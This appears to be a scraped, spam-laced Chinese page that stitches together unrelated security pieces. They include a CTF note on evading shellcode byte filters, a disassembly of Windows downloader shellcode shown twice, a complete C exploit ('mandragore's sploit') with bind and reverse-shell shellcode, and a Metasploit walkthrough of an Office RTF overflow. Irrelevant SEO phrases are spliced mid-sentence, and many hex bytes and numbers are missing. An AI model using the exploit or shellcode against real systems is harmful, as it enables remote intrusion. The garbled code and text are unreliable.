CTFer成长日记16:用动态生成的代码绕过程序的静态安全检查——shellcode敏感字节检测绕过
敏感字节检查绕过的基本原理,关键在于利用程序执行的码命动态特性。在执行时,转l转若目标程序能允许某段内存被读写执行,换器springmvc 工程源码我们就能尝试将shellcode注入,源码借此劫持程序执行流至shellcode首地址,码命实现ret2shellcode攻击。转l转
然而,换器目标程序往往会对输入进行检查,源码发现敏感字节序列,码命如syscall、转l转int等指令对应的换器机器码时,会拒绝输入,源码导致攻击失败。解决之道在于,编写一段可动态生成shellcode的代码。此代码本身不是shellcode,但能在执行中自动生成shellcode并执行,以此绕过敏感字节检查。
理解ret2shellcode攻击过程后,我们能设想编写代码动态生成shellcode。具体方法是删除或替换敏感字节,并在执行时恢复。通过对比原始与修改后的shellcode,我们发现,关键在于修改自身shellcode的代码。
为了生成直接可用的shellcode,需修改原始shellcode,如何查看Weka源码确保满足特定条件,即敏感字节序列指令在执行前恢复。将用于修改自身的shellcode片段置于shellcode头部,确保敏感字节指令被执行前恢复,实现绕过。
接下来,通过实例题验证上述方法的有效性。自定义源代码,使用特定命令编译,关闭程序的防御机制。通过内存布局,利用shellcode长度与main函数返回地址之间的偏移,实现攻击。
针对原始shellcode中的敏感字节,利用pwntools提供的shellcraft.sh()函数修改,首先删去syscall指令,接着在汇编代码头部添加修改自身shellcode的代码,尾部补全syscall指令对应的机器码。通过异或操作,将敏感字节序列转换为可接受的序列。
最后,解决的问题是获取shellcode尾部地址。通过输出shellcode首地址的程序,结合生成等效shellcode,利用脚本获取机器码长度,最终编写攻击脚本完成整个过程。
hex文件是什么?
文件有两种,一种是文本文件,一种是activemq 源码 简书程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、雷霆传奇源码下载对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD 5A pop edx ; 函数返回的地址保存到edx中
4AD :A1 mov eax, dword ptr fs:[] ; 取peb
4AD 8B 0C mov eax, dword ptr [eax+C] ; peb_link
4ADB 8B 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi
4ADE AD lods dword ptr [esi] ; [esi]->eax + 8的位置即kernel.dll的地址
4ADF 8B mov eax, dword ptr [eax+8] ; eax=kernel.dll的地址
4AD 8BD8 mov ebx, eax ; ebx=kernel.dll的基址
4AD 8B 3C mov esi, dword ptr [ebx+3C] ; esi = pe头偏移
4AD 8BE mov esi, dword ptr [esi+ebx+] ; esi为kernel.dll导出表的偏移
4ADB F3 add esi, ebx ; esi = kernel.dll导出表的虚拟地址
4ADD 8B7E mov edi, dword ptr [esi+] ; edi=ent的偏移地址
4AD FB add edi, ebx ; edi = ent的虚拟地址
4AD 8B4E mov ecx, dword ptr [esi+] ; ecx = kernel.dll导出地址的个数
4AD ED xor ebp, ebp ; ebp=0
4AD push esi ; 保存导出表虚拟地址
4AD push edi ; 保存ent虚拟地址
4AD push ecx ; 保存计数
4ADA 8B3F mov edi, dword ptr [edi]
4ADC FB add edi, ebx ; 定位ent中的函数名
4ADE 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数
4AD pop ecx ; 设置循环次数为 0xe
4AD F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD je short 4ADF ; 如果ENT中的函数名为GetProcAddress跳走
4AD pop ecx ; 不相等则将导出地址数出栈
4AD 5F pop edi ; ent虚拟地址出栈
4AD C7 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节
4ADC inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4ADD ^ E2 E9 loopd short 4AD ; 循环查询
4ADF pop ecx
4AD 5F pop edi
4AD 5E pop esi
4AD 8BCD mov ecx, ebp ; 计数保存于ecx
4AD 8B mov eax, dword ptr [esi+] ; esi+0x Ordinal序号表偏移地址
4AD C3 add eax, ebx ; ordinal序号表的虚拟地址
4AD D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4ADB C1 add eax, ecx
4ADD C9 xor ecx, ecx ; ecx=0
4ADF :8B mov cx, word ptr [eax] ; 保存取出的ordinal序号
4AD 8B 1C mov eax, dword ptr [esi+1C] ; eax 为kenrnel.dll的EAT的偏移地址
4AD > C3 add eax, ebx ; eax = kernel.dll的eat虚拟地址
4AD C1E1 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值
4ADA C1 add eax, ecx
4ADC 8B mov eax, dword ptr [eax] ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4ADE C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD 8BFA mov edi, edx ; GetProcAddress字符到edi
4AD 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址
4AD 8BD0 mov edx, eax ; edx为GetProcAddress的地址
4AD 6A push 4
4ADB pop ecx ; ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4ADC E8 call 4ADE1 ; 设置IAT 得到4个函数的xss平台 源码 免费地址
4AD C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能
4AD push edx
4AD push esi ; urlmon
4AD FF FC call dword ptr [edi-4] ; 调用LoadLibrarA来加载urlmon.dll
4AD 5A pop edx ; edx = GetProcAddress的地址
4ADA 8BD8 mov ebx, eax
4ADC 6A push 1
4ADE pop ecx
4ADF E8 3D call 4ADE1 ; 再次设置 IAT 得到URLDownLoadToFileA
4ADA4 C6 add esi, ; esi指向URLDownLoadToFileA的末地址
4ADA7 push esi
4ADA8 inc esi
4ADA9 E cmp byte ptr [esi], ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束
4ADAC ^ FA jnz short 4ADA8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x
4ADAE xor byte ptr [esi],
4ADB1 5E pop esi
4ADB2 EC sub esp, ; 开辟 byte栈空间
4ADB5 > 8BDC mov ebx, esp ; ebx为栈区的指针
4ADB7 6A push
4ADB9 push ebx
4ADBA FF EC call dword ptr [edi-] ; 调用GetSystemDirectoryA得到系统目录
4ADBD C 5CE mov dword ptr [ebx+eax], EC ; ebx+0x 系统路径占 0x个字节
4ADC4 C mov dword ptr [ebx+eax+4], ; 拼接下载后的文件路径%systemroot%\system\a.exe
4ADCC C0 xor eax, eax
4ADCE push eax
4ADCF push eax
4ADD0 push ebx
4ADD1 push esi
4ADD2 push eax
4ADD3 > FF FC call dword ptr [edi-4] ; URLDownLoadToFile下载文件为a.exe
4ADD6 8BDC mov ebx, esp
4ADD8 push eax
4ADD9 push ebx
4ADDA FF F0 call dword ptr [edi-] ; WinExec执行代码
4ADDD push eax
4ADDE FF F4 call dword ptr [edi-C] ; ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。
急求一套公司用的源代码,只要有留言功能就可以,主页要漂亮点的
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define NORM "\[;m"
#define GREEN "\[;m"
#define YELL "\[;m"
#define RED "\[;m"
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port
struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 all", 0xC0BF, 0xbeCC, 0xbeD0 },
{ "w2k SP4 all", 0xD, 0xcc, 0xd0 },
}, tsz;
unsigned char bsh[]={
0xEB,0x0F,0x8B,0x,0x,0x,0xC9,0x,0xC1,0xDD,0x,0x,0xDE,0x,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x,0xD8,0xDE,0xDE,0x,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x,0x8A,0x,0xCB,0xDA,0xFE,
0x9E,0xDE,0x,0x,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x,0xD5,0xDE,0xDE,
0xDE,0x,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x,0x,0xC8,0x,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x,0x1A,0xB4,0xCE,0x8E,0x8D,0x,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x,0x,0xC8,0x,0x0E,0xB4,0xDF,
0x8D,0x,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x,0x,0xC8,
0x,0x0E,0xB4,0xDE,0x8A,0x8D,0x,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x,0x,0xC8,0x,0x0E,0x,0x,0xED,0x1E,0xB4,0xCE,0x,0x,0x,
0x,0xDD,0x,0x,0x2D,0x,0x,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x,0xD9,
0x9A,0x,0x,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x,0xE6,0x4D,0x,0x,0x,0xBA,
0xB9,0x7F,0xEE,0xDE,0x,0x9E,0xD2,0x,0x9E,0xC2,0x,0xDE,0x,0xAE,0xD6,0x,
0xC8,0x,0x0E
};
unsigned char rsh[]={
0xEB,0x0F,0x8B,0x,0x,0x,0xC9,0x,0xC1,0xB6,0x,0x,0xDE,0x,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x,0xD8,0xDE,0xDE,0x,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x,0x8A,0x,0xCB,0xDA,0xFE,
0x9E,0xDE,0x,0x,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x,0xD5,0xDE,0xDE,
0xDE,0x,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x,0x,0xC8,0x,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x,0x1A,0xB4,0xCE,
0x8E,0x8D,0x,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x,
0x,0xC8,0x,0x0E,0xB4,0xCE,0x,0x,0x,0x,0xDD,0x,0x,0x2D,0x,0x,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x,0xD9,0x9A,0x,0x,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x,0xE6,0x4D,0x,0x,0x,0xBA,0xB9,0x7F,0xEE,0xDE,0x,0x9E,0xD2,
0x,0x9E,0xC2,0x,0xDE,0x,0xAE,0xD6,0x,0xC8,0x,0x0E
};
char verbose=0;
void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}
void usage(char *argv0) {
int i;
printf("%s -d <host/ip> [opts]\n\n",argv0);
printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: ]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets.os, targets.goreg);
exit(1);
}
void shell(int s) {
char buff[];
int retval;
fd_set fds;
printf("[+] connected!\n\n");
for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}
void callback(short port) {
struct sockaddr_in sin;
int s,slen=;
sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
s=socket(2,1,6);
if ( bind(s,(struct sockaddr *)&sin, ) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}
listen(s,1);
s=accept(s,(struct sockaddr *)&sin,&slen);
shell(s);
printf("crap\n");
}
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]=;
printf(BANNER "\n");
if (argc==1)
usage(argv[0]);
for (i=1;i<argc;i+=2) {
if (strlen(argv) != 2)
usage(argv[0]);
switch(argv[1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
if (verbose)
printf("verbose!\n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);
}
printf("[.] using type '%s'\n",targets[type].os);
// -------------------- core
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}
printf("[+] connected, sending exploit\n");
buff=(char *)malloc();
bzero(buff,);
sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,,0);
memset(buff+,0x,);
strncpy(buff,"PORT ",5);
strcat(buff,"\");
memcpy(buff+,jmp[0],2);
memcpy(buff+,&targets[type].goreg,4);
memcpy(buff+,jmp[1],5);
setoff(targets[type].gpa, targets[type].lla);
if (bindopt)
memcpy(buff+,&bsh,strlen(bsh));
else
memcpy(buff+,&rsh,strlen(rsh));
send(s,buff,strlen(buff),0);
free(buff);
close(s);
// -------------------- end of core
if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}
if (pid) wait(&pid);
exit(0);
}
delphiççä¸å¯ä»¥åshellcodeä¹
ä¸è¬çShellCodeé½æ¯ï½ASMåCåçï½Delphiä½çå°æ¯å¾å°æå ·ä½ä¾å å ¶å®ä½¿ç¨Delphiåä¸æ¯ä¸å¯è½ï½å°±æ¯éº»ç¦ï½(Delphiçï½BASMä¹ä¸å¤ªçµæ´»ï½è³å°ææè§æ²¡æç´æ¥ä½¿ç¨TASMç½) ä¸è¿è¿æ¯åä¸ä¸ªç©ç©å§ï½è¿éä» ä» ä½ä¸ªæ¼ç¤ºä»£ç ï½ ä»¥ä¸ShellCodeæºä»£ç :
针对Office软件的渗透攻击实例MS-安全漏洞分析学习(index: metasploit)
针对Office软件的渗透攻击实例——MS-安全漏洞分析与学习
在Metasploit中搜索“ms_”,加载该模块并显示基本信息。该漏洞的原因是Office程序在处理特殊构造的RTF文件时,相应解析程序在处理名为pFragments的参数时存在栈缓冲区溢出错误,导致异常发生。RTF格式文件属于Word应用程序所处理的文件格式,一个后缀名为rtf的文件在更改后不影响其使用。Office 默认启用了DEP,同时存在ASLR机制,这使得对Office +Windows 7中该漏洞的利用变得更加困难,但并非不可能。利用MS-漏洞的实验并未以Win7为目标。
设置渗透模块的攻击载荷为运行一个计算器,以便于观察。在Metasploit中使用命令“use exploit/windows/fileformat/ms__rtf_pfragments_bof”加载模块,设置攻击载荷为“set payload windows/exec”并设置命令为“set CMD calc.exe”。设置文件名为“ms.rtf”并执行“exploit”。将生成的文件复制给目标机器,双击打开。
深入研究MS-漏洞的渗透攻击模块源代码。该模块范围从到,是一个典型的利用SEH(Structured Exception Handling)的方式,包含Ret和偏移量。变量sploit被填充到名为pFragments的属性参数中,导致缓冲区溢出。逆向分析该漏洞的机理,打开OD(OllyDbg)工具,打开Word进程(winword.exe)并设置断点,观察具体执行过程。
启动IDA Pro,加载mso.dll文件进行反汇编分析。在函数入口处设置断点,运行Word进程并打开测试文件。在函数执行过程中,观察到的数据复制指令会导致栈溢出。利用IDA Pro的图形反汇编视图查看关键信息,发现函数主要功能是复制字符串,涉及三个参数:数据源位置、复制次数和数据源寻址。
通过研究函数的反汇编代码,发现程序没有对输入参数进行检查或限制,这是产生漏洞的根本原因。修改mso.dll文件设置软件断点,观察测试文件利用SEH的过程。在经过超长的数据复制后,栈底附近的SEH链被修改。运行程序时,由于断点的设置或调试过程中的问题,导致报错并跳转到不可达地址。
文件格式分析部分详细介绍了RTF文档格式,包括文档头、图形相关信息、绘图属性、属性名和属性值等。分析了RTF漏洞的原因:在进行复制时未对复制次数进行检测,导致栈溢出。通过源代码展示了RTF解析pFragments属性的部分过程,揭示了复制次数控制的实现方式以及漏洞产生的原理。
基于Metasploit的POC(Proof of Concept)展示了漏洞利用原理,包括栈溢出导致SEH机制触发、异常处理和shellcode执行的过程。具体过程涉及栈溢出时将基本信息压入栈、后续压入直接跳转和执行shellcode的地址。通过构建RTF文档,设置了恰当的pFragments属性值,填充shellcode、directe和Ret等关键信息,最终实现攻击目的。
文件的基本格式构造强调了在构造RTF文档时,正确设置pFragments属性的重要性。构造过程涉及到属性值的前部填充、复制次数、shellcode填充、直接跳转和shellcode执行的地址构建。通过实验和分析,揭示了如何利用MS-漏洞进行渗透攻击。
十六进制编码的c语言是怎样的
文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。
在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD 5A pop edx ; 函数返回的地址保存到edx中
4AD :A1 mov eax, dword ptr fs:[] ; 取peb
4AD 8B 0C mov eax, dword ptr [eax+C] ; peb_link
4ADB 8B 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi
4ADE AD lods dword ptr [esi] ; [esi]->eax + 8的位置即kernel.dll的地址
4ADF 8B mov eax, dword ptr [eax+8] ; eax=kernel.dll的地址
4AD 8BD8 mov ebx, eax ; ebx=kernel.dll的基址
4AD 8B 3C mov esi, dword ptr [ebx+3C] ; esi = pe头偏移
4AD 8BE mov esi, dword ptr [esi+ebx+] ; esi为kernel.dll导出表的偏移
4ADB F3 add esi, ebx ; esi = kernel.dll导出表的虚拟地址
4ADD 8B7E mov edi, dword ptr [esi+] ; edi=ent的偏移地址
4AD FB add edi, ebx ; edi = ent的虚拟地址
4AD 8B4E mov ecx, dword ptr [esi+] ; ecx = kernel.dll导出地址的个数
4AD ED xor ebp, ebp ; ebp=0
4AD push esi ; 保存导出表虚拟地址
4AD push edi ; 保存ent虚拟地址
4AD push ecx ; 保存计数
4ADA 8B3F mov edi, dword ptr [edi]
4ADC FB add edi, ebx ; 定位ent中的函数名
4ADE 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数
4AD pop ecx ; 设置循环次数为 0xe
4AD F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD je short 4ADF ; 如果ENT中的函数名为GetProcAddress跳走
4AD pop ecx ; 不相等则将导出地址数出栈
4AD 5F pop edi ; ent虚拟地址出栈
4AD C7 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节
4ADC inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4ADD ^ E2 E9 loopd short 4AD ; 循环查询
4ADF pop ecx
4AD 5F pop edi
4AD 5E pop esi
4AD 8BCD mov ecx, ebp ; 计数保存于ecx
4AD 8B mov eax, dword ptr [esi+] ; esi+0x Ordinal序号表偏移地址
4AD C3 add eax, ebx ; ordinal序号表的虚拟地址
4AD D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4ADB C1 add eax, ecx
4ADD C9 xor ecx, ecx ; ecx=0
4ADF :8B mov cx, word ptr [eax] ; 保存取出的ordinal序号
4AD 8B 1C mov eax, dword ptr [esi+1C] ; eax 为kenrnel.dll的EAT的偏移地址
4AD > C3 add eax, ebx ; eax = kernel.dll的eat虚拟地址
4AD C1E1 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值
4ADA C1 add eax, ecx
4ADC 8B mov eax, dword ptr [eax] ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4ADE C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD 8BFA mov edi, edx ; GetProcAddress字符到edi
4AD 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址
4AD 8BD0 mov edx, eax ; edx为GetProcAddress的地址
4AD 6A push 4
4ADB pop ecx ; ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4ADC E8 call 4ADE1 ; 设置IAT 得到4个函数的地址
4AD C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能
4AD push edx
4AD push esi ; urlmon
4AD FF FC call dword ptr [edi-4] ; 调用LoadLibrarA来加载urlmon.dll
4AD 5A pop edx ; edx = GetProcAddress的地址
4ADA 8BD8 mov ebx, eax
4ADC 6A push 1
4ADE pop ecx
4ADF E8 3D call 4ADE1 ; 再次设置 IAT 得到URLDownLoadToFileA
4ADA4 C6 add esi, ; esi指向URLDownLoadToFileA的末地址
4ADA7 push esi
4ADA8 inc esi
4ADA9 E cmp byte ptr [esi], ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束
4ADAC ^ FA jnz short 4ADA8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x
4ADAE xor byte ptr [esi],
4ADB1 5E pop esi
4ADB2 EC sub esp, ; 开辟 byte栈空间
4ADB5 > 8BDC mov ebx, esp ; ebx为栈区的指针
4ADB7 6A push
4ADB9 push ebx
4ADBA FF EC call dword ptr [edi-] ; 调用GetSystemDirectoryA得到系统目录
4ADBD C 5CE mov dword ptr [ebx+eax], EC ; ebx+0x 系统路径占 0x个字节
4ADC4 C mov dword ptr [ebx+eax+4], ; 拼接下载后的文件路径%systemroot%\system\a.exe
4ADCC C0 xor eax, eax
4ADCE push eax
4ADCF push eax
4ADD0 push ebx
4ADD1 push esi
4ADD2 push eax
4ADD3 > FF FC call dword ptr [edi-4] ; URLDownLoadToFile下载文件为a.exe
4ADD6 8BDC mov ebx, esp
4ADD8 push eax
4ADD9 push ebx
4ADDA FF F0 call dword ptr [edi-] ; WinExec执行代码
4ADDD push eax
4ADDE FF F4 call dword ptr [edi-C] ; ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。
2024-12-23 23:28
2024-12-23 23:24
2024-12-23 23:22
2024-12-23 22:53
2024-12-23 22:30